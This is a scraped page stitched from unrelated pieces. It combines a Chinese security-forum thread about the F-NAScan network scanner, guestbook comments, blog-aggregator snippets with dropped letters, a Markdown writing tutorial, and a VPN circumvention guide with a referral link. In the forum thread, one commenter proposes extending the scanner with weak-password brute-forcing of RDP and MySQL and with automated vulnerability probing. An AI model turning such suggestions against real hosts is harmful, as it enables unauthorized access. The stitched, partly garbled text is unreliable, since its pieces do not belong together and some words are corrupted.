@luwikes 测试不存在这个问题 发下你的环境信息看看
@HackBraid 比不上NMAP全面,但也有自己的优点
22#
null_z | 2016-04-14 14:51
赞赞赞！ py还有个nmap的包扫描结果是json格式的跟其他工具对接也超级棒。
23#
rockes | 2016-04-14 14:59
为什么我在WIN10下面跑， F-NAScan.py 172.19.2.0 任何回显都没有 又弹出dos框呢？我的python版本是2.7
24#
L.N. (http://ln.sycsec.com/) | 2016-04-14 15:03
必须点赞
25#
wolf (@伏宸安全) | 2016-04-14 15:08
@rockes -h 172.19.2
26#
带馅儿馒头 (我就一小小小小鸟) | 2016-04-14 15:19
赞
27#
newbie0086 | 2016-04-14 15:19
这个在内网配合插件自动化测试 效果一级棒
28#
wolf (@伏宸安全) | 2016-04-14 15:23
@newbie0086 最近这2个工具都是在客户现场做渗透测试为了方便写出来的。
29#
pyphrb (please called 强爷) | 2016-04-14 15:28
前排，支持狼狗
30#
Master (小菜一枚) | 2016-04-14 15:40
冒泡
31#
wolf (@伏宸安全) | 2016-04-14 15:44
@luwikes 解决这个问题了 https://github.com/ywolf/F-NAScan 重新下载试试
32#
凌零1 | 2016-04-14 16:15
后排学习
33#
好基友一辈子 | 2016-04-14 16:31
34#
好基友一辈子 | 2016-04-14 16:31
@wolf 权限是777
35#
wolf (@伏宸安全) | 2016-04-14 16:35
@好基友一辈子 是不稳定吗？ 超时调高一点试试看，默认为10秒。
36#
wolf (@伏宸安全) | 2016-04-14 16:43
@好基友一辈子 在print 'Results output failure'上面加上print e 看看是什么错误信息
37#
路人N (?) | 2016-04-14 17:13
@wolf 帮你换了个皮肤(⌒▽⌒)
使用方法：把write_result函数改成下面的，扫描结束，打开这个文件http://paste.ubuntu.net/15825793/
def write_result():
try:
content = "var servers="+str(json.dumps(re_data))+";\n"
content += "var portdata="+str(json.dumps(port_data))+";\n"
content += "var statistics="+str(json.dumps(statistics))+";\n"
result = open("result.js","w")
result.write(content)
result.close()
except Exception,e:
print 'Results output failure'
效果图：
38#
wolf (@伏宸安全) | 2016-04-14 17:14
@路人N 好评
39#
乌云小秘书 (第1.绝对不意气用事!第2.绝对不漏判任何一件坏事) | 2016-04-14 18:24
@路人N 666
40#
终于乌云了 | 2016-04-14 18:55
大赞
41#
白开水 | 2016-04-14 18:59
mark
42#
scanf (www.scanfsec.com 网络尖刀) | 2016-04-14 19:08
可以打包成exe吗？
43#
toomi | 2016-04-14 20:58
狼哥真是赞啊，学习了
44#
Sai、 | 2016-04-14 21:22
内网探测很好用
45#
从容 (@寂寞的瘦子 其实是个死胖子！) | 2016-04-14 21:57
支持狼狗
46#
LoveSnow (我要努力，争取开发自己的神器) | 2016-04-15 00:24
支持狼狗
47#
LoveSnow (我要努力，争取开发自己的神器) | 2016-04-15 01:00
@路人N js获取的结果怎么进不来呢？
48#
ADO (为啥我名字又短又简单，因为我智商低啊) | 2016-04-15 08:41
@路人N 非常好用，赞！
@wolf 干的漂亮，Thanks！
49#
cf_hb (10000定律<=>实践ing) | 2016-04-15 09:34
赞，以后内网探测就用这个小脚本了。
50#
x1aoh4i (灰狗 、 就是灰狗) | 2016-04-15 09:42
后排，支持狼狗
51#
猪猪 | 2016-04-15 09:48
下载的压缩文件是损坏的？
52#
wolf (@伏宸安全) | 2016-04-15 10:02
@猪猪 多谢提醒 重新上传了
@scanf 可以的
53#
好基友一辈子 | 2016-04-15 10:05
@wolf 应该是编码问题，扫描过程中web页面如果有乱码或者编码不同的时候会导致导出失败
54#
东方不败 (日出东方，唯我不败) | 2016-04-15 10:23
赞 结合路人甲的 内网以后不用了
55#
风之传说 | 2016-04-15 10:25
前后用了三个，一个没有指纹识别，一个打开报告有错误，还有一个需要加载其他的库。 这个接近完美了，在我看来。 感谢了一个。
56#
小葵 (burpsuite+metasploit就是我爹。) | 2016-04-15 11:40
大赞.. 不错不错 内网神器.. 收下啦. 自己改改代码... 省的自己再写了.
57#
东方不败 (日出东方，唯我不败) | 2016-04-15 14:06
@路人N 这个每次打开不同报告都要改名result.js么- -有不有直接封装html啊。。不然好麻烦啊@wolf
58#
wolf (@伏宸安全) | 2016-04-15 15:24
@好基友一辈子 解决这个问题了 增加了编码识别环节，增加了忽略证书验证+容错 https://github.com/ywolf/F-NAScan
59#
wolf (@伏宸安全) | 2016-04-15 16:12
@scanf 已经打包成独立exe文件 http://down.future-sec.com/F-NAScan.exe
60#
小歪 | 2016-04-15 17:20
可以放弃iisputscan了
61#
路人N (?) | 2016-04-15 17:37
@wolf @东方不败 http://paste.ubuntu.net/15846036/
62#
wolf (@伏宸安全) | 2016-04-15 22:05
@路人N 不错不错
63#
廷廷 (想法最重要) | 2016-04-15 23:47
不错支持共享
64#
指尖上的故事 | 2016-04-16 00:39
@wolf @路人N
[img src="http://imgur.com/HBj1A8A" alt="报表"/]
提供一个思路：增加功能让这个更强大些（半自动化）。
port = '21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1723,1433,1521,3306,3389,3690,5432,5800,5900,6379,7001,8000,8001,8080,8081,8888,9200,9300,9080,9999,11211,27017'
如果： 21 ftp 22 ssh 80 web 3389 rdp 3306 mysql
先是扫描出了开始IP段 & 结束IP段，然后比如扫描出来的某IP地址存在3389 3306 22 21 80 这些端口服务。
然后比如：3389弱口令字典爆破什么的在python中编写如下测试逻辑。
在然后比如：80 web端口可以用到的漏洞测试逻辑脚本加入到代码中。
然后比如：3306 mysql默认端口数据库首先检测远程端口是否开放，如果开放进行字典爆破或者根据SQL漏洞进行测试写入等等。
这样的话就更方便了，能写的话可以试试加入漏洞检测环节。
留言评论（旧系统）：
佚名 @ 2016-04-17 08:36:31
竟然又活了。。。难得啊
本站回复：
-_-!!!
不死牛 @ 2016-04-18 10:35:07
核总，还以为进去了呢。看到你又活了，真好
本站回复：
-_-!!!
佚名 @ 2016-04-18 11:56:49
哇，这么快就出来，菊花变成向日葵了吧。
本站回复：
变成核弹发射井了，要不朝你来一发？
站长好 @ 2016-04-20 17:37:18
站长 你这网站记录了我哪些信息啊 浏览一个网站，网站都会记录哪些个人信息呢？
本站回复：
时间，IP，浏览的网址，浏览器类型，系统类型，以及一些基本系统信息。
佚名 @ 2016-04-23 10:29:52
忘记买春哥了 核总、 丞相我还不能死
本站回复：
-_-!!! ......
宝宝 @ 2016-04-26 00:04:09
核总居然没进去
本站回复：
进啥？现在天天替国安抓人，忙的都没时间更新网站……
- 博客 轶哥博客 2016-04-13 15:45:31<>emem如果在安装Bah o Uutu o Widow的时候没有以管理员方式运行“ah”命令，那么可能导致安装报“Failed to create hortcut to ah.exe”的错误。出现这个错误，说明Bah o Uutu o Widow的快捷方式没有被正确安装。此时会导致“开始-gtah”无法正常找到。
- 博客 轶哥博客 2016-04-08 12:32:29<>emem像BCM4330 (AP6383)这样的Wifi/蓝牙一体化芯片常见于一些平板电脑、笔记本和mii c中。特别是z3735、z8300、core m这些芯片的平板电脑很常见。AP6210也比较常见，但目前暂未解决其驱动问题。<>emem如何在搭载这样芯片的设备中安装Liux驱动呢？Uutu16.04版本的内核中仍然没有封装对应驱动（P：貌似Itel和Uutu合作，Itel NUC可以完美安装Uutu）。
- 博客 轶哥博客 2016-04-05 02:56:11<>emem在Uutu 14.04以上版本中安装搜狗输入法存在一些问题导致安装失败，这些问题主要是由依赖项和字体引起的。主要是fot-droid这个字体，非常坑。<>emem首先从官网下载搜狗输入法 For Liux的de安装包。再点击此处下载fot-droid字体de安装包(密码: 1r2e)。
- 博客 Jiajun的编程随想 2016-04-03 08:00:00《重新捡起你那吃灰的树莓派》最近在考驾照，没大块时间看书了，就拿起我那吃灰了1年的树莓派出来耍耍...
- 博客 Randy's Blog 2016-03-25 08:00:002100
- 博客 庭说 2016-03-15 00:00:00
现代汉语就像用脏了的人民币，要用 Markdown 洗一洗。Markdown 是一种轻量级标记语言。你不需要关心标题多大字号，段前距多少，列表缩进几格，只要在纯文本前后增加一些标记符号（例如 #-*>），就能毫不费力地写出工整精美的文章。毫不夸张地说，Markdown 是比特世界赠与写作者的「笔」。请注意，Markdown 不要写成 MarkDown。
优势
掐指一算，使用 Markdown 写文章三年有余了。它的好，目前谁都比不了。
易学易记
只要几分钟就可以 学会 Markdown，然后你可能再也不想碰 Word 了。
专注写作
富文本编辑器（例如 Word）是通过点击图形化的功能按钮来实现排版，而 Markdown 则是通过标记字符去赋予文字不同格式。易读易写（easy-to-read and easy-to-write），让任何与文字打交道的人专注于写作，不用操心排版。
格式统一
同一份 Word 文档，在
- 不同的设备：Windows、macOS、Android、iOS
- 不同的版本：旧版 Word 、新版 Word
- 不同的软件：Microsoft Office、WPS
可能显示不一样的效果。而 Markdown 可以 Write once, export everywhere。不管在电脑上，还是手机上，用 Markdown 写出来的文章都能带来舒适、统一、美好的阅读体验。
向外兼容
可以导出 PDF、 Word、HTML、图片等格式分享给没有安装 Markdown 编辑器的人。
入门
一开始你只要记住以下符号（英文半角状态），就能写出排版清爽的文章了。
标记符号 标记结果 #+空格+文本一级标题 ##+空格+文本二级标题 ###+空格+文本三级标题 -+空格+文本无序列表 1+.+空格+文本有序列表 >+空格+文本引用 如果有些文字需要特殊说明：
标记符号 标记结果 **+加粗+**加粗 *+斜体+*斜体 ~~+删除线+~~删除线是不是手痒了？下载一个 Markdown 编辑器， Keep calm and Markdown。目前我使用 有道云笔记 + Typora。
进阶
以上就是最基础的 Markdown 语法，普通用户看到这里就可以开始动笔尝试了。下面介绍一些 Markdown 的书写风格，让你的源码和文档更精美，更有条理。你不必一下子全部记住，需要实现哪个功能再来查阅或者问 Google 也不迟。
标题
层级
正文的标题从
##开始，#要留给整篇文章的标题（也可以不写）。这样的大纲结构也可以很方便地转换为思维导图（Markdown to Xmind / MindNode / 幕布 / 百度脑图……），也符合 SEO（搜索引擎优化）的规则。# 一级标题（h1）：文章的标题## 二级标题（h2）：正文的大标题### 三级标题（h3）：正文的小标题虽然 Markdown 最大支持
######六级标题，为了保持层级的简单，防止出现过于复杂的章节，请谨慎使用四级标题（除非是长文章）。如果三级标题下有并列性的内容，可以使用加粗、有序列表或无序列表代表末级标题。短文章的标题层级### 正文的小标题**三级标题 A**- 论据 1（五级标题） - 细分论据 1（六级标题） - 细分论据 2（六级标题） - 细分论据 3（六级标题） - 论据 2 - 论据 3**三级标题 B**1. 论据2. 论据3. 论据**三级标题 C**- 论据 1 - 论据 2 - 论据 3---长文章的标题层级### 正文的小标题 #### 正文的三级标题 A#### 正文的三级标题 B#### 正文的三级标题 C二级标题下，不能直接出现四级标题。
标题要避免孤立编号（即同级标题只有一个）。
标题要简短，结尾不带标点符号。
（源码上）标题前后空一行（段前距和段后距）。
大标题和小标题之间要有内容过渡（引出或概括下文）。
# Title开门见山地告诉读者这篇文章讲什么？一级标题作为文章的（页面）标题（H1），并且尽可能和文件名称保持一致。如果文章很长，使用 [TOC] 生成目录。## What先定义问题是什么？……正文从二级标题开始。## Why为什么会出现这样的问题？……## How下一步该怎么办？……## See also文末别忘了贴上参考链接。* https://link-to-more-info
列表
无序列表
使用
‐或*或+并跟随 1 个空格来表示无序列表。建议使用‐（连字符，hyphen）。- 我是谁- 我从哪里来- 我到哪里去不建议
* 我是谁* 我从哪里来* 我到哪里去---+ 我是谁+ 我从哪里来+ 我到哪里去为什么
- 星号
*可能和加粗和斜体符号产生混淆。 - 加号
+不流行。
与其他语法结合使用
- **《春日》**：等闲识得东风面，万紫千红总是春。- **《春草》**：萋萋总是无情物，吹绿东风又一年。- **《墨梅》**：犹恨东风无意思，更吹烟雨暗黄昏。预览
- 《春日》：等闲识得东风面，万紫千红总是春。
- 《春草》：萋萋总是无情物，吹绿东风又一年。
- 《墨梅》：犹恨东风无意思，更吹烟雨暗黄昏。
有序列表
语法一（手动排序）
1. 斜月沉沉藏海雾，碣石潇湘无限路。2. 不知乘月几人归，落月摇情满江树。3. 春江潮水连海平，海上明月共潮生。预览
- 斜月沉沉藏海雾，碣石潇湘无限路。
- 不知乘月几人归，落月摇情满江树。
- 春江潮水连海平，海上明月共潮生。
对于比较短的、很少修改的有序列表，请按顺序标号，保持源码的可读性。
语法二（自动排序）
对于比较长的、可能会修改的列表（尤其是很长的嵌套列表），请使用「懒人编号法」。纵使有新的列表项「插队」，把序号弄乱了也没关系，Markdown 编辑器自动会对序号进行纠错。
1. Foo.1. Bar. 1. Foofoo. 1. Barbar. 1. Gargar1. Baz.预览
- Foo.
- Bar.
- Foofoo.
- Barbar.
- Gargar
- Baz.
嵌套列表
缩进 2 ~ 4 个空格或一个 Tab（推荐），可以嵌套列表。
示例一
1. 不知乘月几人归，落月摇情满江树。- 与君吟弄风月，端不负平生。- 对秋深，离恨苦，数夜满庭风雨。- 五月畲田收火米，三更津吏报潮鸡。2. 人姝丽，粉香吹下，夜寒风细。- 弓弦抱汉月，马足践胡尘。- 寒月悲笳，万里西风瀚海沙。- 东堂坐见山，云风相吹嘘。3. 沅溪夏晚足凉风，春酒相携就竹丛。- 白发渔樵江渚上，惯看秋月春风。- 归来独卧逍遥夜，梦里相逢酩酊天。- 致君尧舜上，再使风俗淳。预览
- 不知乘月几人归，落月摇情满江树。
- 与君吟弄风月，端不负平生。
- 对秋深，离恨苦，数夜满庭风雨。
- 五月畲田收火米，三更津吏报潮鸡。
- 人姝丽，粉香吹下，夜寒风细。
- 弓弦抱汉月，马足践胡尘。
- 寒月悲笳，万里西风瀚海沙。
- 东堂坐见山，云风相吹嘘。
- 沅溪夏晚足凉风，春酒相携就竹丛。
- 白发渔樵江渚上，惯看秋月春风。
- 归来独卧逍遥夜，梦里相逢酩酊天。
- 致君尧舜上，再使风俗淳。
示例二
- 庭说栏目> - 排版美学> - 数字生活 > - 日志随笔- 联系方式> - Email：tingtalk.me(at)gmail.com> - Telegram：t.me/tingtalkgroup > - WeChat：804 976 336预览
- 庭说栏目
- 排版美学
- 数字生活
- 日志随笔
- 联系方式
- Email：tingtalk.me(at)gmail.com
- Telegram：t.me/tingtalkgroup
- WeChat：804 976 336
Tips
Tab缩进一级Shift + Tab提升一级
任务列表
语法
- [ ] 纯牛奶- [x] 西瓜- [ ] 鸡蛋- [x] 保鲜膜- [ ] 猪肉（暂时买不起）预览
- [ ] 纯牛奶
- [x] 西瓜
- [ ] 鸡蛋
- [x] 保鲜膜
- [ ] 猪肉（暂时买不起）
引用
在每一行使用
>符号，包括换行的句子。> 我们是为人民服务的，所以，我们如果有缺点，就不怕别人批评指出。> by 毛泽东：《为人民服务》（1944 年 9 月 8 日）我们是为人民服务的，所以，我们如果有缺点，就不怕别人批评指出。
by 毛泽东：《为人民服务》（1944 年 9 月 8 日）表格
语法
| 左对齐 | 居中对齐 | 右对齐 || :--------------- | :------------------------------------------------: | -----: || **加粗** | [插入链接](https://tingtalk.me/) | ￥5.7 || `换行`<br />下一行 |  | ￥10.4 |预览
左对齐 居中对齐 右对齐 加粗 插入链接 ￥5.7 换行
下一行
￥10.4 注释
- Markdown 是轻量级的标记语言，所以不支持合并和拆分单元格。对于复杂表格，你可以在 Markdown 编辑器中使用 HTML 的
<table>标签标记。 - 输入
<br />可以换行（但不建议使用）。 - 把 Excel 表格复制粘贴到某些 Markdown 编辑器（例如 Typora）可以直接转换为 Markdown 形式的表格。
链接
语法
[庭说](https://tingtalk.me/)预览：庭说
图片
语法
预览
Markdown 是一种纯文本标记语言，图片功能注定是它的弱项。
网络图床
但谁能保证哪个图床服务不倒闭？所以我在写作的时候，力求用文字把事情解释清楚，能不插入图片就不插入图片。我偶尔会用到的 图床 是
sm.ms（免费）。本地图片
Typora 支持插入本地图片，但是更改图片的路径和名称，图片就失效了。如果文章已经完稿了，可以把 Markdown 导出为 PDF 文档（这样图片就嵌入进去了）。
代码
行内代码
用 2 个重音符 `（backtick，在 Tab 键上方）包裹
`Markdown` 是一种轻量级标记语言。预览
Markdown是一种轻量级标记语言。用两个
`包裹`，才能显示`：A single backtick in a code span: `` ` ``A backtick-delimited string in a code span: `` `foo` ``预览
A single backtick in a code span:`
A backtick-delimited string in a code span:`foo`重音符前后空一格
- 推荐：使用键盘快捷键 `Ctrl + D` 可以将当前网页保存为书签。- 反对：使用键盘快捷键`Ctrl+D`可以将当前网页保存为书签。预览
- 推荐：使用键盘快捷键
Ctrl + D可以将当前网页保存为书签。 - 反对：使用键盘快捷键
Ctrl+D可以将当前网页保存为书签。
代码块
将 3 个重音符 ` 置于代码块的首行和末行。首行的重音符后面可接代码语言名称，例如 `````python``，以达到相应的代码高亮效果。
print "Hello, Python!"预览
print "Hello, Python!"function addTwoNumbers (num1, num2) {- return 1 + 2+ return num1 + num2}预览
function addTwoNumbers (num1, num2) {- return 1 + 2+ return num1 + num2}换行
以下键盘快捷键（语法）可能仅支持 Typora。
Enter= 换行 + 空行 = (Shift+Enter) × 2。即按下回车键创建一个新段落（段与段之间加入空行）。
软换行
Shift+Enter= 换行（但是不会产生空行）。`enticing` [ɪn'taɪsɪŋ] （事物）诱人的，有吸引力的；迷人的- Her neck was short but rounded and her arms plump and enticing. `Shift` + `Enter` 她的脖子短，但浑圆可爱；两臂丰腴，也很动人。by 《飘》 `Enter`- This was enticing to Wozniak, even more than any prospect of getting rich. `Shift` + `Enter` 这句话对沃兹尼亚克的诱惑太大了，比变成富人的诱惑还要大。by 《乔布斯传》 `Enter`enticing[ɪn'taɪsɪŋ] （事物）诱人的，有吸引力的；迷人的Her neck was short but rounded and her arms plump and enticing.
她的脖子短，但浑圆可爱；两臂丰腴，也很动人。by 《飘》This was enticing to Wozniak, even more than any prospect of getting rich.
这句话对沃兹尼亚克的诱惑太大了，比变成富人的诱惑还要大。by 《乔布斯传》
硬换行
在行末使用空格（两个以上） + 换行（Enter），就可以实现强制换行，此语法适用于大部分 Markdown 编辑器。
硬换行在文档被导出时将被保留，且没有换段的段后距。
假如生活欺骗了你， （2 个空格）不要悲伤，不要心急！ （2 个空格）忧郁的日子里须要镇静： （2 个空格）（2 个空格）相信吧，快乐的日子将会来临！ （2 个空格）心儿永远向往着未来； （2 个空格）现在却常是忧郁。 （2 个空格）一切都是瞬息，一切都将会过去； （2 个空格）而那过去了的，就会成为亲切的怀恋。 （2 个空格）by 普希金假如生活欺骗了你，
不要悲伤，不要心急！
忧郁的日子里须要镇静：
相信吧，快乐的日子将会来临！
心儿永远向往着未来；
现在却常是忧郁。
一切都是瞬息，一切都将会过去；
而那过去了的，就会成为亲切的怀恋。
by 普希金其他
名称 语法 备注 分割线 ---、***、+++不常用 内容目录 [TOC] Table of Contents 应用
Markdown 的用途很广。Write once, export everywhere：写博客、写邮件、排推文、做 PPT 等。
公众号排版
- Markdown Nice：让微信排版变 Nice，支持自定义主题 CSS，例如 锤子便签样式。
- Markdown Devtool：简称
MDTU。是一款基于 bytemd 由山月开发的支持微信样式的 Markdown 编辑器。 - 微信 Markdown 编辑器：高度简洁。
- 可能吧公众号 Style 一键转换器：老司机禅叔出品。
简历排版
邮件排版
Markdown Here 是一个浏览器扩展插件，可以将浏览器中编辑器（例如 email 正文）里的 Markdown 文本转换成渲染过后的 HTML，并且支持自定义 CSS。
修改 CSS 样式教程：
转换为 Word
- 安装 Pandoc 后，Typora 可以导出 Word
转换为 Mind Map
- 对于 Xmind / MindNode / 百度脑图 等思维导图工具，直接导入 md 文档。
- 对于幕布，可以用 Typora 导出 opml 格式，再导入。
- Markmap：
Markdown + Mindmap，使用思维导图可视化 Markdown。
从网页导出 md 格式
借助浏览器插件 简约 导出 md 格式的网页，不用 手动添加标记符号。
导出漂亮的 Markdown 源代码图片
- 打开 carbon.now.sh
- 语言选择
Markdown - 书写或者粘贴 Markdown 源代码
- 导出 PNG 像素图或者 SVG 矢量图
参考资料
- Markdown 完全入门（上）
- Markdown 完全入门（下）
- Markdown Syntax - Daring Fireball
- 为知笔记 Markdown 新手指南
- Markdown 合集 - 少数派
- Google Markdown 书写风格指南
- Markdown Style Guide by Google
- Typora 完全使用详解 - liquid617
关联阅读
- 博客 Randy's Blog 2016-03-14 08:00:002102
- 博客 Jiajun的编程随想 2016-03-14 08:00:00《Tornado 源码阅读》准备开始学习django的文档和源代码了，先总结一下看tornado源码的收获，防止忘记。这里写的是tornadov1.2的代码，因为我看了一遍4.3版本，和1.2思路相差不大，只是...
- 博客 Jiajun的编程随想 2016-03-06 08:00:00《JavaScript权威指南笔记》- 声明变量不带var，JS会在全局对象中创建一个同名属性，坑爹...
- 博客 Jiajun的编程随想 2016-03-05 08:00:00《Python零碎知识汇总》 这些都是我在文档里阅读到或者是在网上看到的,不足以成文却值得注意的知识...
- 博客 庭说 2016-03-03 00:00:00
每一个做外贸，搞设计，写代码或者对数字生活有追求的人，开始「网上冲浪」之前，都会带上足量的 🍅 番茄（翻墙 的谐音），确保可以顺利出海。
⚠️ 前言
番茄是一种恶魔果实，可以让食用者得到一种特殊的能力：越过长城，走向世界，访问任何一个网站（例如 Google、YouTube、Twitter 等）。但是，如果在中国大陆吃番茄，请注意以下事项。
🙊 审查就在你的身边
出海冲浪（Surfing the internet）是为了工作、学习、娱乐和提高网络生活质量，请勿违反法律法规，发布违反国家相关法律法规及「九不准」管理规定的信息，如：
- 反对宪法所确定的基本原则危害国家安全；
- 泄露国家秘密，颠覆国家政权，破坏国家统一；
- 损害国家荣誉和利益；
- 煽动民族仇恨、民族歧视，破坏民族团结；
- 侮辱、滥用英烈形象，否定英烈事迹，美化粉饰侵略战争行为的；
- 破坏国家宗教政策，宣扬邪教和封建迷信；
- 散布谣言，扰乱社会秩序，破坏社会稳定；
- 宣扬淫秽、色情、赌博、暴力、凶杀、恐怖或者教唆犯罪；
- 煽动非法集会、结社、游行、示威、聚众扰乱社会秩序；
- 诽谤他人，泄露他人隐私，侵害他人合法权益；
- 含有法律、行政法规禁止的其他内容的信息。
Ting 我 Talk 一句：只要肉身在中国大陆，我们的一切行动听党（Ting Dang）指挥，千万别以为吃了番茄就可以为所欲为。否则你可能就会重蹈庭勃士的覆辙：因转发 Twitter 的「不当言论」到微信（WeCheck）群，被抓进派出所 喝茶。
话不多说，即刻开车，带你翻山涉水，出海买番茄。
💰 买番茄
点击这里 查看曾经推荐过的番茄商 Just My Socks，老牌 VPS 供应商搬瓦工出品，隐私和安全上比较有保障。但因为价格有些高，经济宽裕的用户可以试试。
点击这里 查看免费的番茄商（推荐使用迷雾通，已上传至 蓝奏云 网盘） ，如果本文中提供的番茄购买链接被封了，可以作为临时的备用访问途径，不推荐长期使用。因为时间宝贵，请对自己好一点。
或者购买非大陆的 SIM 卡（手机流量卡），例如澳门卡，作为一种更可靠的备用翻墙工具。
我目前的主力出海工具是 ssrcloud，多年老机场，节点个数 200+，价格适中，目前还行。
📧 注册
用手机或者电脑的本机浏览器打开 ssrcloud（薯条机场），或者复制下面这个网址，粘贴到浏览器的地址栏：
https://av1.wtf/auth/register?code=iQuU- 邀请码是
iQuU - 通过我的邀请链接注册，你可能会获得 ￥1 的初始出海资金
- 官网不是一成不变的
- 刷新订阅链接，即可在某个节点中看到最新的官网
- 在官网的通知中心，找到最新的 Telegram 通知频道和群组，获取最新官网地址
注册后，登录。
💸 充值
在左侧菜单栏往下滑，找到
商店-充值（2020 年 7 月 23 日下架了月付 ￥10 的套餐）：- 月付 ￥15：150 GB
- 季付 ￥60：600 GB
- 年付 ￥150：1500 GB
- ……
🛒 购买
在左侧菜单栏往下滑，找到
套餐购买：为了保险起见，不管是买哪一家的番茄，我都推荐先买一个月的量试用一下，觉得好用（周末高峰期也能稳定使用），再季付（也要慎重），年付（做好跑路无悔的准备）可以等敏感期（6 月份）过了之后再买。为什么：- 每个用户所在的地理位置不一样，选用的运营商也不相同，所以网速和稳定性是因人而异的。
- 道高一次，魔高一丈，中国的网管可不是吃素的（可怕的食肉动物），对番茄这种水果极其厌恶。万一发飙，种植技术一般的番茄商可能就 Game Over 了，所以我也不敢保证我现在用的这家机场会不会跑路。
在左侧菜单栏，找到
我的-用户中心- 滑倒底部，找到快速添加节点，粘贴订阅链接到对应的番茄客户端即可食用。Windows 用户推荐使用 Clash，教程在下面「吃番茄」的章节。
Android 用户推荐使用 ShadowsocksR 客户端，但是也可以把 Clash for Windows 订阅链接用在 Clash for Android 上，教程在下面「吃番茄」的章节。
苹果用户，选择很多，挑一个顺手的即可。
💁 售后
公告
- Telegram 通知频道：https://t.me/Meilleuraeroport
客服
- 在 Telegram 上联系售后客服：@cnix01
- 无法私聊时，请联系 @cnix_support_pm_bot
群组
- Telegram 群组：https://t.me/joinchat/Fhvyaxkq0Bg4YzBl
🔁 续费
目前 ssrcloud 不支持自动续费，请在账号到期前重新购买套餐。如果觉得每月都要重复操作，可以购买季付或者年付套餐。
对于不熟悉代理规则的用户，账号过期后，请退出番茄客户端/app，再登录官网续费。
官网会被封锁，更新你的节点列表，最新的官网地址就会出现。
购买新套餐后，无法通过订阅连接更新节点，怎么办：
- 登录 ssrcloud，点击左侧菜单栏的
节点列表 - 打开其中一个节点的
配置二维码 - 右键 ShadowsocksR 客户端 -
服务器-扫描二维码 - 现在应该可以更新节点了
🍅 吃番茄
先按照番茄商提供的教程食用番茄，本章节是纯文字教程，作为官方指南的补充。
图文教程请参阅
番茄客户端与番茄供应商
以下列举的软件只是代理工具，不提供任何代理服务器。打个比喻，飞机延误或停飞，不关飞机制造商（波音/空客）的事，请找航空公司客服人员。如果节点不可用：
- 先尝试更换节点
- 套餐是否到期了
- 最坏的结果就是机场跑路了
吃番茄有多种方式
吃法①：手动输入
Server IP（服务器地址）Port（服务器端口）Password（密码）Encryption（加密方式）
吃法②：自动导入
- 导入单个番茄
- 复制番茄商提供的单节点地址，打开番茄客户端，
从剪贴板导入 URL - 打开番茄商提供的二维码，打开番茄客户端，
扫描屏幕上 / 手机上的二维码
- 复制番茄商提供的单节点地址，打开番茄客户端，
- 导入批量番茄 👍
服务器订阅：通过一个订阅地址，一次性导入大量番茄；支持更新节点（有些番茄会烂掉）
备用下载链接
番茄客户端的安装包一般是放在国外网站（例如 GitHub），有时候下载较慢，因此我把这些安装包手动上传到蓝奏云，供读者享用（不保证是最新版，而且某些安装包会被蓝奏云迫于不可抗力删除）：
- 番茄客户端备用下载链接 by TingTalk
- 各平台客户端备用下载链接 by rixCloud
- iOS（iPhone & iPad）：因为只能通过 App Store 下载，教程请参考下文。
关联阅读
🚫 远离国产流氓软件
它们不仅会上报给网管（城管）谁在吃番茄，还会偷偷地在你的番茄里下毒。如果你打不开本文中的链接，很可能就是它们搞的鬼。
✔️ ❌ 火绒安全
Windows 10 自带的安全中心360 安全卫士
腾讯电脑管家
金山毒霸
……Google Chrome（谷歌浏览器）
Firefox（火狐浏览器）
Microsoft Edge（Windows 10 自带）360 浏览器
QQ 浏览器
搜狗浏览器
UC 浏览器
……Windows 10 自带的拼音 / 五笔输入法 搜狗输入法
QQ 输入法
百度输入法
……关联阅读：Windows 电脑佳软推荐。
🖥 Windows（PC）
推荐使用 Clash .NET 客户端。
Clash .NET
优点
相比 Clash for Windows：
- 小巧美观但功能强大
- 语言界面支持中文
- 兼容 Windows 7 及更高版本系统
- 支持便携模式，随身携带你的翻墙利器
- 支持在本地对订阅链接转换（SubConverter）
下载
- 下载 .NET Framework Runtime 5.0 及以上版本（如何辨别我的计算机运行的是 32 位还是 64 位版本的 Windows？）
- 下载 Clash .NET：GitHub
如果从官网下载的 .NET 5.0 不可用，Clash .NET 的作者也在 GitHub 的 Releases 提供了安装包。
其它
- 混口端口（Mixed-Port）就是代理端口。
- Telegam 频道：@ClashDotNetFrameworkAnncmnt
Clash for Windows
仅支持 64 位的 Windows 系统。
下载
- 官方：Clash for Windows.exe by Fndroid，下载速度可能比较慢。
- 安装版：
Clash.for.Windows.Setup.exe - 便携版：
Clash.for.Windows-win.7z
- 安装版：
- 备用：下载速度较快，但可能不是最新版，不过不影响使用。
安装
- 双击安装
- 授权运行：点击
更多信息，然后选择仍要运行 - 为
所有用户安装 C改为D：D:\Program Files\Clash for Windows
使用
从机场复制 Clash 订阅 URL（托管配置链接）。打开 Clash for Windows，在左侧的标签页中依次选择：
Profile（配置）
- 在顶部输入框粘贴订阅配置链接，然后点击
Download按钮。Clash for Windows 会自动下载远程配置文，如果一切顺利，你应当可以看到绿色提示信息。Success!，并且可以看到一个新的配置文件（如果弹出Could not switch to this profile!，关闭软件，以管理员身份运行。）。 - 点击新的配置文件，就能切换到该配置。
- 点击配置文件的 ℹ️（Change information），在
Update Interval (hour)填入24，即 24 小时自动更新一次配置文件。
Proxies（代理）
用于切换代理模式和接入点（节点）。- 将顶部的代理模式选择为
Rule（规则）：所有请求根据配置文件规则进行分流。 - 点击
Proxy智能分流 策略组（各家称呼不一样，一般排在第一位）。 - 点击右侧的 ⚡ 进行测速。
- 选择一个较快的接入点（
ms毫秒数最小）。
General（常规）
System Proxy（系统代理）：OnStart with Windows（开机自启）：OnGeoIP Database：点击更新 MaxMind 的 GeoIP2 Lite 数据库。此数据库用于 Geo 规则和 DNS 判断，建议每月至少更新一次。UWP LoopbackUWP 是微软在 Windows 10 中引入的新概念，由于所有 UWP 应用均运行在被称为 App Container 的虚拟沙箱环境中，其安全性及纯净度远胜于传统的 EXE 应用。但 App Container 机制同时也阻止了网络流量发送到本机（即 loopback）， 使大部分网络抓包调试工具无法对 UWP 应用进行流量分析。同样的，该机制也阻止了 UWP 应用访问 localhost，即使你在系统设置中启用了代理，也无法令 UWP 应用访问本地代理服务器，十分恼人。by 通过设置为 Win 10 UWP 应用解除网络隔离 - SHY
如何开启用本地回环代理：
- 点击
Launch Helper。 - 点击
Exempt All勾选所有 UWP 应用。 - 点击
Save Changes保存设置。 - 点击右上角关闭，此时 UWP 应用的网络问题就可以解决了，例如 Microsoft To Do 可以同步了。
❗ 请注意：安装新的 UWP 应用后，需要重新设置。
Clash for Windows 所有节点测试延迟都显示 Timeout 怎么办？
